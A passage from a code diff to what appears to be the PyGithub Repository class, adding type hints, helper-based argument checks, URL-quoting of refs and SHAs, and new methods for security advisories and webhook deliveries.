in ["day", "week", NotSet], "per must be day or week, day by default" url_parameters = dict() - if per is not github.GithubObject.NotSet: + if is_defined(per): url_parameters["per"] = per headers, data = self._requester.requestJsonAndCheck( "GET", f"{self.url}/traffic/views", parameters=url_parameters ) - if ( - (isinstance(data, dict)) - and ("views" in data) - and (isinstance(data["views"], list)) - ): - data["views"] = [ - github.View.View(self._requester, headers, item, completed=True) - for item in data["views"] - ] + if (isinstance(data, dict)) and ("views" in data) and (isinstance(data["views"], list)): + data["views"] = [github.View.View(self._requester, headers, item, completed=True) for item in data["views"]] return data - def get_clones_traffic(self, per=github.GithubObject.NotSet): + def get_clones_traffic(self, per: Opt[str] = NotSet) -> dict[str, int | list[Clones]] | None: """ :calls: `GET /repos/{owner}/{repo}/traffic/clones `_ :param per: string, must be one of day or week, day by default :rtype: None or list of :class:`github.Clones.Clones` """ - assert per is github.GithubObject.NotSet or ( - isinstance(per, str) and (per == "day" or per == "week") - ), "per must be day or week, day by default" - url_parameters = dict() - if per is not github.GithubObject.NotSet: - url_parameters["per"] = per + assert per in ["day", "week", NotSet], "per must be day or week, day by default" + url_parameters: dict[str, Any] = NotSet.remove_unset_items({"per": per}) headers, data = self._requester.requestJsonAndCheck( "GET", f"{self.url}/traffic/clones", parameters=url_parameters ) - if ( - (isinstance(data, dict)) - and ("clones" in data) - and (isinstance(data["clones"], list)) - ): + if (isinstance(data, dict)) and ("clones" in data) and (isinstance(data["clones"], list)): data["clones"] = [ - github.Clones.Clones(self._requester, headers, item, completed=True) - for item in data["clones"] + github.Clones.Clones(self._requester, headers, item, completed=True) for item in data["clones"] ] return data - def get_projects(self, state=github.GithubObject.NotSet): + def get_projects(self, state: Opt[str] = NotSet) -> PaginatedList[Project]: """ :calls: `GET /repos/{owner}/{repo}/projects `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Project.Project` + :rtype: :class:`PaginatedList` of :class:`github.Project.Project` :param state: string """ url_parameters = dict() - if state is not github.GithubObject.NotSet: + if is_defined(state): url_parameters["state"] = state - return github.PaginatedList.PaginatedList( + return PaginatedList( github.Project.Project, self._requester, f"{self.url}/projects", @@ -2149,24 +2358,22 @@ def get_projects(self, state=github.GithubObject.NotSet): {"Accept": Consts.mediaTypeProjectsPreview}, ) - def get_autolinks(self): + def get_autolinks(self) -> PaginatedList[Autolink]: """ :calls: `GET /repos/{owner}/{repo}/autolinks `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Autolink.Autolink` + :rtype: :class:`PaginatedList` of :class:`github.Autolink.Autolink` """ - return github.PaginatedList.PaginatedList( - github.Autolink.Autolink, self._requester, f"{self.url}/autolinks", None - ) + return PaginatedList(github.Autolink.Autolink, self._requester, f"{self.url}/autolinks", None) def create_file( self, - path, - message, - content, - branch=github.GithubObject.NotSet, - committer=github.GithubObject.NotSet, - author=github.GithubObject.NotSet, - ): + path: str, + message: str, + content: str | bytes, + branch: Opt[str] = NotSet, + committer: Opt[InputGitAuthor] = NotSet, + author: Opt[InputGitAuthor] = NotSet, + ) -> dict[str, ContentFile | Commit]: """Create a file in this repository. :calls: `PUT /repos/{owner}/{repo}/contents/{path} `_ @@ -2183,24 +2390,20 @@ def create_file( assert isinstance(path, str) assert isinstance(message, str) assert isinstance(content, (str, bytes)) - assert branch is github.GithubObject.NotSet or isinstance(branch, str) - assert author is github.GithubObject.NotSet or isinstance( - author, github.InputGitAuthor - ) - assert committer is github.GithubObject.NotSet or isinstance( - committer, github.InputGitAuthor - ) + assert is_optional(branch, str) + assert is_optional(author, github.InputGitAuthor) + assert is_optional(committer, github.InputGitAuthor) if not isinstance(content, bytes): content = content.encode("utf-8") content = b64encode(content).decode("utf-8") - put_parameters = {"message": message, "content": content} + put_parameters: dict[str, Any] = {"message": message, "content": content} - if branch is not github.GithubObject.NotSet: + if is_defined(branch): put_parameters["branch"] = branch - if author is not github.GithubObject.NotSet: + if is_defined(author): put_parameters["author"] = author._identity - if committer is not github.GithubObject.NotSet: + if is_defined(committer): put_parameters["committer"] = committer._identity headers, data = self._requester.requestJsonAndCheck( @@ -2210,24 +2413,44 @@ def create_file( ) return { - "content": github.ContentFile.ContentFile( - self._requester, headers, data["content"], completed=False - ), - "commit": github.Commit.Commit( - self._requester, headers, data["commit"], completed=True - ), + "content": github.ContentFile.ContentFile(self._requester, headers, data["content"], completed=False), + "commit": github.Commit.Commit(self._requester, headers, data["commit"], completed=True), } + def get_repository_advisories( + self, + ) -> PaginatedList[github.RepositoryAdvisory.RepositoryAdvisory]: + """ + :calls: `GET /repos/{owner}/{repo}/security-advisories `_ + :rtype: :class:`PaginatedList` of :class:`github.RepositoryAdvisory.RepositoryAdvisory` + """ + return PaginatedList( + github.RepositoryAdvisory.RepositoryAdvisory, + self._requester, + f"{self.url}/security-advisories", + None, + ) + + def get_repository_advisory(self, ghsa: str) -> github.RepositoryAdvisory.RepositoryAdvisory: + """ + :calls: `GET /repos/{owner}/{repo}/security-advisories/{ghsa} `_ + :param ghsa: string + :rtype: :class:`github.RepositoryAdvisory.RepositoryAdvisory` + """ + ghsa = urllib.parse.quote(ghsa) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/security-advisories/{ghsa}") + return github.RepositoryAdvisory.RepositoryAdvisory(self._requester, headers, data, completed=True) + def update_file( self, - path, - message, - content, - sha, - branch=github.GithubObject.NotSet, - committer=github.GithubObject.NotSet, - author=github.GithubObject.NotSet, - ): + path: str, + message: str, + content: bytes | str, + sha: str, + branch: Opt[str] = NotSet, + committer: Opt[InputGitAuthor] = NotSet, + author: Opt[InputGitAuthor] = NotSet, + ) -> dict[str, ContentFile | Commit]: """This method updates a file in a repository :calls: `PUT /repos/{owner}/{repo}/contents/{path} `_ @@ -2246,25 +2469,21 @@ def update_file( assert isinstance(message, str) assert isinstance(content, (str, bytes)) assert isinstance(sha, str) - assert branch is github.GithubObject.NotSet or isinstance(branch, str) - assert author is github.GithubObject.NotSet or isinstance( - author, github.InputGitAuthor - ) - assert committer is github.GithubObject.NotSet or isinstance( - committer, github.InputGitAuthor - ) + assert is_optional(branch, str) + assert is_optional(author, github.InputGitAuthor) + assert is_optional(committer, github.InputGitAuthor) if not isinstance(content, bytes): content = content.encode("utf-8") content = b64encode(content).decode("utf-8") - put_parameters = {"message": message, "content": content, "sha": sha} + put_parameters: dict[str, Any] = {"message": message, "content": content, "sha": sha} - if branch is not github.GithubObject.NotSet: + if is_defined(branch): put_parameters["branch"] = branch - if author is not github.GithubObject.NotSet: + if is_defined(author): put_parameters["author"] = author._identity - if committer is not github.GithubObject.NotSet: + if is_defined(committer): put_parameters["committer"] = committer._identity headers, data = self._requester.requestJsonAndCheck( @@ -2274,23 +2493,19 @@ def update_file( ) return { - "commit": github.Commit.Commit( - self._requester, headers, data["commit"], completed=True - ), - "content": github.ContentFile.ContentFile( - self._requester, headers, data["content"], completed=False - ), + "commit": github.Commit.Commit(self._requester, headers, data["commit"], completed=True), + "content": github.ContentFile.ContentFile(self._requester, headers, data["content"], completed=False), } def delete_file( self, - path, - message, - sha, - branch=github.GithubObject.NotSet, - committer=github.GithubObject.NotSet, - author=github.GithubObject.NotSet, - ): + path: str, + message: str, + sha: str, + branch: Opt[str] = NotSet, + committer: Opt[InputGitAuthor] = NotSet, + author: Opt[InputGitAuthor] = NotSet, + ) -> dict[str, Commit | _NotSetType]: """This method deletes a file in a repository :calls: `DELETE /repos/{owner}/{repo}/contents/{path} `_ @@ -2301,28 +2516,22 @@ def delete_file( :param committer: InputGitAuthor, (optional), if no information is given the authenticated user's information will be used. You must specify both a name and email. :param author: InputGitAuthor, (optional), if omitted this will be filled in with committer information. If passed, you must specify both a name and email. :rtype: { - 'content': :class:`null `:, + 'content': :class:`null `:, 'commit': :class:`Commit `} """ assert isinstance(path, str), "path must be str/unicode object" assert isinstance(message, str), "message must be str/unicode object" assert isinstance(sha, str), "sha must be a str/unicode object" - assert branch is github.GithubObject.NotSet or isinstance( - branch, str - ), "branch must be a str/unicode object" - assert author is github.GithubObject.NotSet or isinstance( - author, github.InputGitAuthor - ), "author must be a github.InputGitAuthor object" - assert committer is github.GithubObject.NotSet or isinstance( - committer, github.InputGitAuthor - ), "committer must be a github.InputGitAuthor object" - - url_parameters = {"message": message, "sha": sha} - if branch is not github.GithubObject.NotSet: + assert is_optional(branch, str), "branch must be a str/unicode object" + assert is_optional(author, github.InputGitAuthor), "author must be a github.InputGitAuthor object" + assert is_optional(committer, github.InputGitAuthor), "committer must be a github.InputGitAuthor object" + + url_parameters: dict[str, Any] = {"message": message, "sha": sha} + if is_defined(branch): url_parameters["branch"] = branch - if author is not github.GithubObject.NotSet: + if is_defined(author): url_parameters["author"] = author._identity - if committer is not github.GithubObject.NotSet: + if is_defined(committer): url_parameters["committer"] = committer._identity headers, data = self._requester.requestJsonAndCheck( @@ -2332,10 +2541,8 @@ def delete_file( ) return { - "commit": github.Commit.Commit( - self._requester, headers, data["commit"], completed=True - ), - "content": github.GithubObject.NotSet, + "commit": github.Commit.Commit(self._requester, headers, data["commit"], completed=True), + "content": NotSet, } @deprecated( @@ -2344,84 +2551,86 @@ def delete_file( Repository.get_contents() instead. """ ) - def get_dir_contents(self, path, ref=github.GithubObject.NotSet): + def get_dir_contents(self, path: str, ref: Opt[str] = NotSet) -> list[ContentFile]: """ :calls: `GET /repos/{owner}/{repo}/contents/{path} `_ - :param path: string - :param ref: string - :rtype: list of :class:`github.ContentFile.ContentFile` """ - return self.get_contents(path, ref=ref) + return self.get_contents(path, ref=ref) # type: ignore - def get_contributors(self, anon=github.GithubObject.NotSet): + def get_contributors(self, anon: Opt[str] = NotSet) -> PaginatedList[NamedUser]: """ :calls: `GET /repos/{owner}/{repo}/contributors `_ :param anon: string - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.NamedUser.NamedUser` + :rtype: :class:`PaginatedList` of :class:`github.NamedUser.NamedUser` """ url_parameters = dict() - if anon is not github.GithubObject.NotSet: + if is_defined(anon): url_parameters["anon"] = anon - return github.PaginatedList.PaginatedList( + return PaginatedList( github.NamedUser.NamedUser, self._requester, f"{self.url}/contributors", url_parameters, ) - def get_download(self, id): + def get_download(self, id: int) -> Download: """ :calls: `GET /repos/{owner}/{repo}/downloads/{id} `_ :param id: integer :rtype: :class:`github.Download.Download` """ assert isinstance(id, int), id - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/downloads/{id}" - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/downloads/{id}") return github.Download.Download(self._requester, headers, data, completed=True) - def get_downloads(self): + def get_downloads(self) -> PaginatedList[Download]: """ :calls: `GET /repos/{owner}/{repo}/downloads `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Download.Download` + :rtype: :class:`PaginatedList` of :class:`github.Download.Download` """ - return github.PaginatedList.PaginatedList( - github.Download.Download, self._requester, f"{self.url}/downloads", None - ) + return PaginatedList(github.Download.Download, self._requester, f"{self.url}/downloads", None) - def get_events(self): + def get_events(self) -> PaginatedList[Event]: """ :calls: `GET /repos/{owner}/{repo}/events `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Event.Event` + :rtype: :class:`PaginatedList` of :class:`github.Event.Event` """ - return github.PaginatedList.PaginatedList( - github.Event.Event, self._requester, f"{self.url}/events", None - ) + return PaginatedList(github.Event.Event, self._requester, f"{self.url}/events", None) - def get_forks(self): + def get_forks(self) -> PaginatedList[Repository]: """ :calls: `GET /repos/{owner}/{repo}/forks `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Repository.Repository` + :rtype: :class:`PaginatedList` of :class:`github.Repository.Repository` """ - return github.PaginatedList.PaginatedList( - Repository, self._requester, f"{self.url}/forks", None - ) + return PaginatedList(Repository, self._requester, f"{self.url}/forks", None) - def create_fork(self, organization=github.GithubObject.NotSet): + def create_fork( + self, + organization: Organization | Opt[str] = NotSet, + name: Opt[str] = NotSet, + default_branch_only: Opt[bool] = NotSet, + ) -> Repository: """ :calls: `POST /repos/{owner}/{repo}/forks `_ :param organization: :class:`github.Organization.Organization` or string + :param name: string + :param default_branch_only: bool :rtype: :class:`github.Repository.Repository` """ - post_parameters = {} + post_parameters: dict[str, Any] = {} if isinstance(organization, github.Organization.Organization): post_parameters["organization"] = organization.login elif isinstance(organization, str): post_parameters["organization"] = organization else: - assert organization is github.GithubObject.NotSet, organization + assert is_undefined(organization), organization + assert is_optional(name, str), name + assert is_optional(default_branch_only, bool), default_branch_only + if is_defined(name): + post_parameters["name"] = name + if is_defined(default_branch_only): + post_parameters["default_branch_only"] = default_branch_only headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.url}/forks", @@ -2429,33 +2638,29 @@ def create_fork(self, organization=github.GithubObject.NotSet): ) return Repository(self._requester, headers, data, completed=True) - def get_git_blob(self, sha): + def get_git_blob(self, sha: str) -> GitBlob: """ :calls: `GET /repos/{owner}/{repo}/git/blobs/{sha} `_ :param sha: string :rtype: :class:`github.GitBlob.GitBlob` """ assert isinstance(sha, str), sha - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/git/blobs/{sha}" - ) + sha = urllib.parse.quote(sha) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/git/blobs/{sha}") return github.GitBlob.GitBlob(self._requester, headers, data, completed=True) - def get_git_commit(self, sha): + def get_git_commit(self, sha: str) -> GitCommit: """ :calls: `GET /repos/{owner}/{repo}/git/commits/{sha} `_ :param sha: string :rtype: :class:`github.GitCommit.GitCommit` """ assert isinstance(sha, str), sha - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/git/commits/{sha}" - ) - return github.GitCommit.GitCommit( - self._requester, headers, data, completed=True - ) + sha = urllib.parse.quote(sha) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/git/commits/{sha}") + return github.GitCommit.GitCommit(self._requester, headers, data, completed=True) - def get_git_ref(self, ref): + def get_git_ref(self, ref: str) -> GitRef: """ :calls: `GET /repos/{owner}/{repo}/git/refs/{ref} `_ :param ref: string @@ -2465,46 +2670,43 @@ def get_git_ref(self, ref): if not self._requester.FIX_REPO_GET_GIT_REF: prefix = "/git/" assert isinstance(ref, str), ref - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}{prefix}{ref}" - ) + ref = urllib.parse.quote(ref) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}{prefix}{ref}") return github.GitRef.GitRef(self._requester, headers, data, completed=True) - def get_git_refs(self): + def get_git_refs(self) -> PaginatedList[GitRef]: """ :calls: `GET /repos/{owner}/{repo}/git/refs `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.GitRef.GitRef` + :rtype: :class:`PaginatedList` of :class:`github.GitRef.GitRef` """ - return github.PaginatedList.PaginatedList( - github.GitRef.GitRef, self._requester, f"{self.url}/git/refs", None - ) + return PaginatedList(github.GitRef.GitRef, self._requester, f"{self.url}/git/refs", None) - def get_git_matching_refs(self, ref): + def get_git_matching_refs(self, ref: str) -> PaginatedList[GitRef]: """ - :calls: `GET /repos/{owner}/{repo}/git/matching-refs/{ref} ` - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.GitRef.GitRef` + :calls: `GET /repos/{owner}/{repo}/git/matching-refs/{ref} `_ + :rtype: :class:`PaginatedList` of :class:`github.GitRef.GitRef` """ assert isinstance(ref, str), ref - return github.PaginatedList.PaginatedList( + ref = urllib.parse.quote(ref) + return PaginatedList( github.GitRef.GitRef, self._requester, f"{self.url}/git/matching-refs/{ref}", None, ) - def get_git_tag(self, sha): + def get_git_tag(self, sha: str) -> GitTag: """ :calls: `GET /repos/{owner}/{repo}/git/tags/{sha} `_ :param sha: string :rtype: :class:`github.GitTag.GitTag` """ assert isinstance(sha, str), sha - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/git/tags/{sha}" - ) + sha = urllib.parse.quote(sha) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/git/tags/{sha}") return github.GitTag.GitTag(self._requester, headers, data, completed=True) - def get_git_tree(self, sha, recursive=github.GithubObject.NotSet): + def get_git_tree(self, sha: str, recursive: Opt[bool] = NotSet) -> GitTree: """ :calls: `GET /repos/{owner}/{repo}/git/trees/{sha} `_ :param sha: string @@ -2512,11 +2714,10 @@ def get_git_tree(self, sha, recursive=github.GithubObject.NotSet): :rtype: :class:`github.GitTree.GitTree` """ assert isinstance(sha, str), sha - assert recursive is github.GithubObject.NotSet or isinstance( - recursive, bool - ), recursive + assert is_optional(recursive, bool), recursive + sha = urllib.parse.quote(sha) url_parameters = dict() - if recursive is not github.GithubObject.NotSet and recursive: + if is_defined(recursive) and recursive: # GitHub API requires the recursive parameter be set to 1. url_parameters["recursive"] = 1 headers, data = self._requester.requestJsonAndCheck( @@ -2524,51 +2725,74 @@ def get_git_tree(self, sha, recursive=github.GithubObject.NotSet): ) return github.GitTree.GitTree(self._requester, headers, data, completed=True) - def get_hook(self, id): + def get_hook(self, id: int) -> Hook: """ :calls: `GET /repos/{owner}/{repo}/hooks/{id} `_ :param id: integer :rtype: :class:`github.Hook.Hook` """ assert isinstance(id, int), id - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/hooks/{id}" - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/hooks/{id}") return github.Hook.Hook(self._requester, headers, data, completed=True) - def get_hooks(self): + def get_hooks(self) -> PaginatedList[Hook]: """ :calls: `GET /repos/{owner}/{repo}/hooks `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Hook.Hook` + :rtype: :class:`PaginatedList` of :class:`github.Hook.Hook` """ - return github.PaginatedList.PaginatedList( - github.Hook.Hook, self._requester, f"{self.url}/hooks", None + return PaginatedList(github.Hook.Hook, self._requester, f"{self.url}/hooks", None) + + def get_hook_delivery(self, hook_id: int, delivery_id: int) -> github.HookDelivery.HookDelivery: + """ + :calls: `GET /repos/{owner}/{repo}/hooks/{hook_id}/deliveries/{delivery_id} `_ + :param hook_id: integer + :param delivery_id: integer + :rtype: :class:`github.HookDelivery.HookDelivery` + """ + assert isinstance(hook_id, int), hook_id + assert isinstance(delivery_id, int), delivery_id + headers, data = self._requester.requestJsonAndCheck( + "GET", f"{self.url}/hooks/{hook_id}/deliveries/{delivery_id}" + ) + return github.HookDelivery.HookDelivery(self._requester, headers, data, completed=True) + + def get_hook_deliveries(self, hook_id: int) -> PaginatedList[github.HookDelivery.HookDeliverySummary]: + """ + :calls: `GET /repos/{owner}/{repo}/hooks/{hook_id}/deliveries `_ + :param hook_id: integer + :rtype: :class:`PaginatedList` of :class:`github.HookDelivery.HookDeliverySummary` + """ + assert isinstance(hook_id, int), hook_id + + return PaginatedList( + github.HookDelivery.HookDeliverySummary, + self._requester, + f"{self.url}/hooks/{hook_id}/deliveries", + None, ) - def get_issue(self, number): + def get_issue(self, number: int) -> Issue: """ :calls: `GET /repos/{owner}/{repo}/issues/{number} `_ :param number: integer :rtype: :class:`github.Issue.Issue` """ assert isinstance(number, int), number - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/issues/{number}" - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/issues/{number}") return github.Issue.Issue(self._requester, headers, data, completed=True) def get_issues( self, - milestone=github.GithubObject.NotSet, - state=github.GithubObject.NotSet, - assignee=github.GithubObject.NotSet, - mentioned=github.GithubObject.NotSet, - labels=github.GithubObject.NotSet, - sort=github.GithubObject.NotSet, - direction=github.GithubObject.NotSet, - since=github.GithubObject.NotSet, - creator=github.GithubObject.NotSet, - ): + milestone: Milestone | Opt[str] = NotSet, + state: Opt[str] = NotSet, + assignee: NamedUser | Opt[str] = NotSet, + mentioned: Opt[NamedUser] = NotSet, + labels: Opt[list[str] | list[Label]] = NotSet, + sort: Opt[str] = NotSet, + direction: Opt[str] = NotSet, + since: Opt[datetime] = NotSet, + creator: Opt[NamedUser] = NotSet, + ) -> PaginatedList[Issue]: """ :calls: `GET /repos/{owner}/{repo}/issues `_ :param milestone: :class:`github.Milestone.Milestone` or "none" or "*" @@ -2578,113 +2802,82 @@ def get_issues( :param labels: list of string or :class:`github.Label.Label` :param sort: string :param direction: string - :param since: datetime.datetime + :param since: datetime :param creator: string or :class:`github.NamedUser.NamedUser` - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Issue.Issue` - """ - assert ( - milestone is github.GithubObject.NotSet - or milestone == "*" - or milestone == "none" - or isinstance(milestone, github.Milestone.Milestone) - ), milestone - assert state is github.GithubObject.NotSet or isinstance(state, str), state - assert ( - assignee is github.GithubObject.NotSet - or isinstance(assignee, github.NamedUser.NamedUser) - or isinstance(assignee, str) - ), assignee - assert mentioned is github.GithubObject.NotSet or isinstance( - mentioned, github.NamedUser.NamedUser - ), mentioned - assert labels is github.GithubObject.NotSet or all( - isinstance(element, github.Label.Label) or isinstance(element, str) - for element in labels - ), labels - assert sort is github.GithubObject.NotSet or isinstance(sort, str), sort - assert direction is github.GithubObject.NotSet or isinstance( - direction, str - ), direction - assert since is github.GithubObject.NotSet or isinstance( - since, datetime.datetime - ), since - assert ( - creator is github.GithubObject.NotSet - or isinstance(creator, github.NamedUser.NamedUser) - or isinstance(creator, str) - ), creator - url_parameters = dict() - if milestone is not github.GithubObject.NotSet: - if isinstance(milestone, str): - url_parameters["milestone"] = milestone - else: + :rtype: :class:`PaginatedList` of :class:`github.Issue.Issue` + """ + assert milestone in ["*", "none", NotSet] or isinstance(milestone, github.Milestone.Milestone), milestone + assert is_optional(state, str), state + assert is_optional(assignee, (str, github.NamedUser.NamedUser)), assignee + assert is_optional(mentioned, github.NamedUser.NamedUser), mentioned + assert is_optional_list(labels, (github.Label.Label, str)), labels + assert is_optional(sort, str), sort + assert is_optional(direction, str), direction + assert is_optional(since, datetime), since + assert is_optional(creator, (str, github.NamedUser.NamedUser)), creator + url_parameters: dict[str, Any] = {} + if is_defined(milestone): + if isinstance(milestone, github.Milestone.Milestone): url_parameters["milestone"] = milestone._identity - if state is not github.GithubObject.NotSet: - url_parameters["state"] = state - if assignee is not github.GithubObject.NotSet: - if isinstance(assignee, str): - url_parameters["assignee"] = assignee else: + url_parameters["milestone"] = milestone + if is_defined(state): + url_parameters["state"] = state + if is_defined(assignee): + if isinstance(assignee, github.NamedUser.NamedUser): url_parameters["assignee"] = assignee._identity - if mentioned is not github.GithubObject.NotSet: + else: + url_parameters["assignee"] = assignee + if is_defined(mentioned): url_parameters["mentioned"] = mentioned._identity - if labels is not github.GithubObject.NotSet: + if is_defined(labels): url_parameters["labels"] = ",".join( - [ - label.name if isinstance(label, github.Label.Label) else label - for label in labels - ] + [label.name if isinstance(label, github.Label.Label) else label for label in labels] # type: ignore ) - if sort is not github.GithubObject.NotSet: + if is_defined(sort): url_parameters["sort"] = sort - if direction is not github.GithubObject.NotSet: + if is_defined(direction): url_parameters["direction"] = direction - if since is not github.GithubObject.NotSet: + if is_defined(since): url_parameters["since"] = since.strftime("%Y-%m-%dT%H:%M:%SZ") - if creator is not github.GithubObject.NotSet: + if is_defined(creator): if isinstance(creator, str): url_parameters["creator"] = creator else: url_parameters["creator"] = creator._identity - return github.PaginatedList.PaginatedList( - github.Issue.Issue, self._requester, f"{self.url}/issues", url_parameters - ) + return PaginatedList(github.Issue.Issue, self._requester, f"{self.url}/issues", url_parameters) def get_issues_comments( self, - sort=github.GithubObject.NotSet, - direction=github.GithubObject.NotSet, - since=github.GithubObject.NotSet, - ): + sort: Opt[str] = NotSet, + direction: Opt[str] = NotSet, + since: Opt[datetime] = NotSet, + ) -> PaginatedList[IssueComment]: """ :calls: `GET /repos/{owner}/{repo}/issues/comments `_ :param sort: string :param direction: string - :param since: datetime.datetime - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.IssueComment.IssueComment` - """ - assert sort is github.GithubObject.NotSet or isinstance(sort, str), sort - assert direction is github.GithubObject.NotSet or isinstance( - direction, str - ), direction - assert since is github.GithubObject.NotSet or isinstance( - since, datetime.datetime - ), since + :param since: datetime + :rtype: :class:`PaginatedList` of :class:`github.IssueComment.IssueComment` + """ + assert is_optional(sort, str), sort + assert is_optional(direction, str), direction + assert is_optional(since, datetime), since url_parameters = dict() - if sort is not github.GithubObject.NotSet: + if is_defined(sort): url_parameters["sort"] = sort - if direction is not github.GithubObject.NotSet: + if is_defined(direction): url_parameters["direction"] = direction - if since is not github.GithubObject.NotSet: + if is_defined(since): url_parameters["since"] = since.strftime("%Y-%m-%dT%H:%M:%SZ") - return github.PaginatedList.PaginatedList( + return PaginatedList( github.IssueComment.IssueComment, self._requester, f"{self.url}/issues/comments", url_parameters, ) - def get_issues_event(self, id): + def get_issues_event(self, id: int) -> IssueEvent: """ :calls: `GET /repos/{owner}/{repo}/issues/events/{id} `_ :param id: integer @@ -2696,16 +2889,14 @@ def get_issues_event(self, id): f"{self.url}/issues/events/{id}", headers={"Accept": Consts.mediaTypeLockReasonPreview}, ) - return github.IssueEvent.IssueEvent( - self._requester, headers, data, completed=True - ) + return github.IssueEvent.IssueEvent(self._requester, headers, data, completed=True) - def get_issues_events(self): + def get_issues_events(self) -> PaginatedList[IssueEvent]: """ :calls: `GET /repos/{owner}/{repo}/issues/events `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.IssueEvent.IssueEvent` + :rtype: :class:`PaginatedList` of :class:`github.IssueEvent.IssueEvent` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.IssueEvent.IssueEvent, self._requester, f"{self.url}/issues/events", @@ -2713,168 +2904,140 @@ def get_issues_events(self): headers={"Accept": Consts.mediaTypeLockReasonPreview}, ) - def get_key(self, id): + def get_key(self, id: int) -> RepositoryKey: """ :calls: `GET /repos/{owner}/{repo}/keys/{id} `_ :param id: integer :rtype: :class:`github.RepositoryKey.RepositoryKey` """ assert isinstance(id, int), id - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/keys/{id}" - ) - return github.RepositoryKey.RepositoryKey( - self._requester, headers, data, completed=True - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/keys/{id}") + return github.RepositoryKey.RepositoryKey(self._requester, headers, data, completed=True) - def get_keys(self): + def get_keys(self) -> PaginatedList[RepositoryKey]: """ :calls: `GET /repos/{owner}/{repo}/keys `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.RepositoryKey.RepositoryKey` + :rtype: :class:`PaginatedList` of :class:`github.RepositoryKey.RepositoryKey` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.RepositoryKey.RepositoryKey, self._requester, f"{self.url}/keys", None, ) - def get_label(self, name): + def get_label(self, name: str) -> Label: """ :calls: `GET /repos/{owner}/{repo}/labels/{name} `_ :param name: string :rtype: :class:`github.Label.Label` """ assert isinstance(name, str), name - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/labels/{urllib.parse.quote(name)}" - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/labels/{urllib.parse.quote(name)}") return github.Label.Label(self._requester, headers, data, completed=True) - def get_labels(self): + def get_labels(self) -> PaginatedList[Label]: """ :calls: `GET /repos/{owner}/{repo}/labels `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Label.Label` + :rtype: :class:`PaginatedList` of :class:`github.Label.Label` """ - return github.PaginatedList.PaginatedList( - github.Label.Label, self._requester, f"{self.url}/labels", None - ) + return PaginatedList(github.Label.Label, self._requester, f"{self.url}/labels", None) - def get_languages(self): + def get_languages(self) -> dict[str, int]: """ :calls: `GET /repos/{owner}/{repo}/languages `_ :rtype: dict of string to integer """ - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/languages" - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/languages") return data - def get_license(self): + def get_license(self) -> ContentFile: """ :calls: `GET /repos/{owner}/{repo}/license `_ :rtype: :class:`github.ContentFile.ContentFile` """ - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/license" - ) - return github.ContentFile.ContentFile( - self._requester, headers, data, completed=True - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/license") + return github.ContentFile.ContentFile(self._requester, headers, data, completed=True) - def get_milestone(self, number): + def get_milestone(self, number: int) -> Milestone: """ :calls: `GET /repos/{owner}/{repo}/milestones/{number} `_ :param number: integer :rtype: :class:`github.Milestone.Milestone` """ assert isinstance(number, int), number - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/milestones/{number}" - ) - return github.Milestone.Milestone( - self._requester, headers, data, completed=True - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/milestones/{number}") + return github.Milestone.Milestone(self._requester, headers, data, completed=True) def get_milestones( self, - state=github.GithubObject.NotSet, - sort=github.GithubObject.NotSet, - direction=github.GithubObject.NotSet, - ): + state: Opt[str] = NotSet, + sort: Opt[str] = NotSet, + direction: Opt[str] = NotSet, + ) -> PaginatedList[Milestone]: """ :calls: `GET /repos/{owner}/{repo}/milestones `_ :param state: string :param sort: string :param direction: string - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Milestone.Milestone` + :rtype: :class:`PaginatedList` of :class:`github.Milestone.Milestone` """ - assert state is github.GithubObject.NotSet or isinstance(state, str), state - assert sort is github.GithubObject.NotSet or isinstance(sort, str), sort - assert direction is github.GithubObject.NotSet or isinstance( - direction, str - ), direction + assert is_optional(state, str), state + assert is_optional(sort, str), sort + assert is_optional(direction, str), direction url_parameters = dict() - if state is not github.GithubObject.NotSet: + if is_defined(state): url_parameters["state"] = state - if sort is not github.GithubObject.NotSet: + if is_defined(sort): url_parameters["sort"] = sort - if direction is not github.GithubObject.NotSet: + if is_defined(direction): url_parameters["direction"] = 